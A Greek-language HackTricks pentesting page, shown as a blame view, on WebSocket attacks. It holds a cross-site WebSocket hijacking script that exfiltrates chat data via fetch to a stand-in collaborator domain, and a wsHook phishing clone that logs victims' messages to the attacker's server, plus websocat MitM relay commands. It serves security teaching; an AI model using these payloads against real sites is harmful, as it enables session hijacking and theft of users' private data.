hacktricks/pentesting-web/websocket-attacks.md

183 lines
19 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# Επιθέσεις WebSocket
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι υποστήριξης του HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
## Τι είναι οι WebSockets
2024-02-10 22:40:18 +00:00
Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής χειραψίας **HTTP** και σχεδιάστηκαν να είναι **μακροβιότερες**, επιτρέποντας την αμφίδρομη ανταλλαγή μηνυμάτων ανά πάσα στιγμή χωρίς την ανάγκη για ένα συστηματικό σύστημα. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που προκαλείται από τον διακομιστή**, όπως ζωντανά ροές χρηματοοικονομικών δεδομένων.
2024-02-10 22:40:18 +00:00
### Δημιουργία Συνδέσεων WebSocket
2024-02-10 22:40:18 +00:00
Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να βρεθεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοψίζοντας, οι συνδέσεις WebSocket συνήθως εκκινούν μέσω JavaScript που εκτελείται στην πλευρά του πελάτη, όπως φαίνεται παρακάτω:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
2024-02-10 22:40:18 +00:00
Το πρωτόκολλο `wss` υποδηλώνει μια ασφαλή σύνδεση WebSocket με **TLS**, ενώ το `ws` υποδηλώνει μια **μη ασφαλή** σύνδεση.
2024-02-10 22:40:18 +00:00
Κατά τη διάρκεια της δημιουργίας της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω του πρωτοκόλλου HTTP. Η διαδικασία της χειραψίας περιλαμβάνει την αποστολή ενός αιτήματος από τον προγραμματιστή περιήγησης και την απόκριση του διακομιστή, όπως φαίνεται στα παρακάτω παραδείγματα:
2024-02-10 22:40:18 +00:00
Ο προγραμματιστής περιήγησης αποστέλλει ένα αίτημα χειραψίας:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
2024-02-10 22:40:18 +00:00
Απόκριση χειραψίας του διακομιστή:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
2024-02-10 22:40:18 +00:00
Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθιερωθεί.
2024-02-10 22:40:18 +00:00
**Κύρια σημεία της αρχικής συνεδρίας WebSocket:**
2024-02-10 22:40:18 +00:00
- Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη μιας αρχικής συνεδρίας WebSocket.
- Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως `13`.
- Ένας τυχαίος κωδικοποιημένος σε Base64 τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, εξασφαλίζοντας ότι κάθε αρχική συνεδρία είναι μοναδική, προκειμένου να αποφευχθούν προβλήματα με ενδιάμεσους διακομιστές προσωρινής αποθήκευσης. Αυτή η τιμή δεν χρησιμοποιείται για ταυτοποίηση, αλλά για να επιβεβαιωθεί ότι η απόκριση δεν παράγεται από έναν κακοδιαμορφωμένο διακομιστή ή προσωρινή αποθήκευση.
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απόκριση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.
2024-02-10 22:40:18 +00:00
Αυτά τα χαρακτηριστικά εξασφαλίζουν ότι η διαδικασία της αρχικής συνεδρίας είναι ασφαλής και αξιόπιστη, ανοίγοντας τον δρόμο για αποτελεσματική επικοινωνία πραγματικού χρόνου.
2024-02-10 22:40:18 +00:00
### Κονσόλα Linux
2024-02-10 22:40:18 +00:00
Μπορείτε να χρησιμοποιήσετε το `websocat` για να καθιερώσετε μια ακατέργαστη σύνδεση με ένα WebSocket.
2021-02-22 16:59:36 +00:00
```bash
2021-02-22 15:05:55 +00:00
websocat --insecure wss://10.10.10.10:8000 -v
```
2024-02-10 22:40:18 +00:00
Ή για να δημιουργήσετε έναν διακομιστή websocat:
2021-02-22 16:59:36 +00:00
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
2024-02-10 22:40:18 +00:00
### Επίθεση MitM σε συνδέσεις websocket
2021-02-22 16:59:36 +00:00
2024-02-10 22:40:18 +00:00
Εάν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα **HTTP websocket** από το τρέχον τοπικό δίκτυο, μπορείτε να δοκιμάσετε μια [επίθεση ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) για να πραγματοποιήσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή.\
Αφού ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε να χρησιμοποιήσετε:
2021-02-22 16:59:36 +00:00
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
2024-02-10 22:40:18 +00:00
### Απαρίθμηση Websockets
2021-02-22 16:59:36 +00:00
2024-02-10 22:40:18 +00:00
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **για να ανακαλύψετε, να εντοπίσετε και να αναζητήσετε γνωστές** **ευπάθειες** σε websockets αυτόματα.
2021-12-30 10:14:05 +00:00
2024-02-10 22:40:18 +00:00
### Εργαλεία εντοπισμού σφαλμάτων Websocket
2024-02-10 22:40:18 +00:00
* Το **Burp Suite** υποστηρίζει την MitM επικοινωνία websockets με πολύ παρόμοιο τρόπο με αυτόν που χρησιμοποιεί για την κανονική επικοινωνία HTTP.
* Η επέκταση [**socketsleuth**](https://github.com/snyk/socketsleuth) του Burp Suite θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp, παίρνοντας το **ιστορικό**, ορίζοντας κανόνες **ανάκλησης**, χρησιμοποιώντας κανόνες **αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας το **Intruder** και το **AutoRepeater**.
* Το [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για να **καταγράφει, παρεμβάλλει, να στέλνει προσαρμοσμένα** μηνύματα και να προβάλλει όλες τις επικοινωνίες WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
* Το [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** που έχει σχεδιαστεί ειδικά για τον έλεγχο διείσδυσης. Παρέχει μια διεπαφή για την παρατήρηση **εισερχόμενων μηνυμάτων websocket και την αποστολή νέων**, με ένα εύκολο στη χρήση πλαίσιο για την **αυτοματοποίηση** αυτής της επικοινωνίας.
* Το [**https://websocketking.com/**](https://websocketking.com/) είναι ένα **web για επικοινωνία** με άλλα ιστότοπα χρησιμοποιώντας **websockets**.
* Το [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνίας/πρωτοκόλλων, παρέχει ένα **web για επικοινωνία** με άλλα ιστότοπα χρησιμοποιώντας **websockets**.
2024-02-10 22:40:18 +00:00
## Εργαστήριο Websocket
2024-02-10 22:40:18 +00:00
Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να ξεκινήσετε έναν ιστότοπο χρησιμοποιώντας websockets και σε [**αυτήν την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση.
2024-02-10 22:40:18 +00:00
## Απάτη Cross-site WebSocket (CSWSH)
2024-02-10 22:40:18 +00:00
Η **Cross-site WebSocket hijacking**, επίσης γνωστή ως **cross-origin WebSocket hijacking**, αναγνωρίζεται ως ένα ειδικό περιστατικό της **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** που επηρεάζει τις αρχικές συνδέσεις WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι αρχικές συνδέσεις WebSocket επαληθεύονται αποκλειστικά μέσω **HTTP cookies** χωρίς **CSRF tokens** ή παρόμοια μέτρα ασφαλείας.
2024-02-10 22:40:18 +00:00
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας μια **κακόβουλη ιστοσελίδα** που ξεκινά μια συνδεση WebSocket από απόσταση σε μια ευπαθή εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης της συνεδρίας.
2024-02-10 22:40:18 +00:00
### Απλή Επίθεση
2024-02-10 22:40:18 +00:00
Σημειώστε ότι κατά την **καθιέρωση** μιας **σύνδεσης websocket** το **cookie** αποστέλλεται στον διακομιστή. Ο διακομιστής μπορεί να το χρησιμοποιεί για να **συσχετίσει** κάθε **συγκεκριμένο** **χρήστη** με την **συνεδρία του websocket βασισμένη στο απεσταλμένο cookie**.
2021-02-22 16:59:36 +00:00
2024-02-10 22:40:18 +00:00
Έπειτα, αν για **παράδειγμα** ο **διακομιστής websocket** επιστρέφει το ιστορικό της συνομιλίας ενός χρήστη αν σταλεί ένα μήνυμα με το "**READY**", τότε ένα **απλό XSS** που θεσπίζει τη σύνδεση (το **cookie** θα αποσταλεί **αυτόματα** για να εξουσιοδοτήσει το θύμα) αποστέλλοντας το "**READY**" θα μπορεί να **ανακτήσει** το ιστορικό της **συνομιλίας**.
2021-02-22 16:59:36 +00:00
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
2024-02-10 22:40:18 +00:00
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
2024-02-10 22:40:18 +00:00
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
2024-02-10 22:40:18 +00:00
### Cross Origin + Cookie με διαφορετικό subdomain
2024-02-10 22:40:18 +00:00
Σε αυτή την ανάρτηση ιστολογίου [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε ένα subdomain** του τομέα όπου πραγματοποιούνταν η επικοινωνία του web socket. Επειδή ήταν ένα **subdomain**, το **cookie** ήταν **αποστέλλεται**, και επειδή το **Websocket δεν ελέγχει σωστά την προέλευση (Origin)**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει τα αναγνωριστικά (tokens) από αυτό**.
2023-03-15 09:29:52 +00:00
2024-02-10 22:40:18 +00:00
### Κλοπή δεδομένων από τον χρήστη
2021-02-22 16:59:36 +00:00
2024-02-10 22:40:18 +00:00
Αντιγράψτε την ιστοσελίδα εφαρμογής που θέλετε να παραπλανήσετε (τα αρχεία .html για παράδειγμα) και μέσα στο script όπου πραγματοποιείται η επικοινωνία του web socket, προσθέστε αυτόν τον κώδικα:
2021-02-22 16:59:36 +00:00
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
2024-02-10 22:40:18 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
2021-02-22 16:59:36 +00:00
}
wsHook.after = function(messageEvent, url, wsObject) {
2024-02-10 22:40:18 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
2022-04-05 22:24:52 +00:00
}
2021-02-22 16:59:36 +00:00
```
2024-02-10 22:40:18 +00:00
Τώρα κατεβάστε το αρχείο `wsHook.js` από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα αρχεία του ιστότοπου**.\
Αποκαλύπτοντας την ιστοσελίδα και κάνοντας έναν χρήστη να συνδεθεί σε αυτήν, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω του websocket:
2021-02-22 16:59:36 +00:00
```javascript
sudo python3 -m http.server 80
```
2024-02-10 22:40:18 +00:00
## Συνθήκες Αγώνας (Race Conditions)
2021-02-22 16:59:36 +00:00
2024-02-10 22:40:18 +00:00
Οι Συνθήκες Αγώνας στα WebSockets είναι επίσης ένα θέμα, [ελέγξτε αυτές τις πληροφορίες για να μάθετε περισσότερα](race-condition.md#rc-in-websockets).
2024-02-10 22:40:18 +00:00
## Άλλες ευπάθειες
2024-02-10 22:40:18 +00:00
Καθώς τα Web Sockets είναι ένας μηχανισμός για **αποστολή δεδομένων προς τον διακομιστή και την πλευρά του πελάτη**, ανάλογα με τον τρόπο που ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση πολλών άλλων ευπαθειών όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια του web χρησιμοποιώντας εισαγωγή ενός χρήστη από ένα WebSocket**.
2021-02-23 13:55:20 +00:00
2022-06-19 14:00:50 +00:00
## **WebSocket Smuggling**
2024-02-10 22:40:18 +00:00
Αυτή η ευπάθεια μπορεί να σας επιτρέψει να **παρακάμψετε τους περιορισμούς αντίστροφων διαμεσολαβητών** κάνοντας τους να πιστέψουν ότι έγινε μια **επικοινωνία WebSocket** (ακόμα κι αν δεν είναι αληθές). Αυτό μπορεί να επιτρέψει σε έναν επιτιθέμενο να **έχει πρόσβαση σε κρυφούς σημείους πρόσβασης**. Για περισσότερες πληροφορίες, ελέγξτε την ακόλουθη σελίδα:
2022-06-19 14:00:50 +00:00
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
2024-02-10 22:40:18 +00:00
## Αναφορές
2021-02-23 13:55:20 +00:00
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
2020-07-29 09:22:22 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 22:40:18 +00:00
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>